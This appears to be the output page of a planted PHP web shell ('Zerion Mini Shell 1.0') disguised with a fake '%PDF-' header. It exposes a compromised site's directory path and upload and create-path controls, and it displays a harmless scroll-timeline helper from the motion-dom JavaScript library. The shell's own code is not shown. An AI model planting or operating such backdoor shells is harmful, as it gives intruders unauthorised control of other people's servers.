%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/vacivi36/SiteVacivitta/vacivitta/node_modules/motion-dom/dist/es/scroll/
Upload File :
Create Path :
Current File : /home/vacivi36/SiteVacivitta/vacivitta/node_modules/motion-dom/dist/es/scroll/observe.mjs

import { frame, cancelFrame } from '../frameloop/frame.mjs';

function observeTimeline(update, timeline) {
    let prevProgress;
    const onFrame = () => {
        const { currentTime } = timeline;
        const percentage = currentTime === null ? 0 : currentTime.value;
        const progress = percentage / 100;
        if (prevProgress !== progress) {
            update(progress);
        }
        prevProgress = progress;
    };
    frame.preUpdate(onFrame, true);
    return () => cancelFrame(onFrame);
}

export { observeTimeline };

Zerion Mini Shell 1.0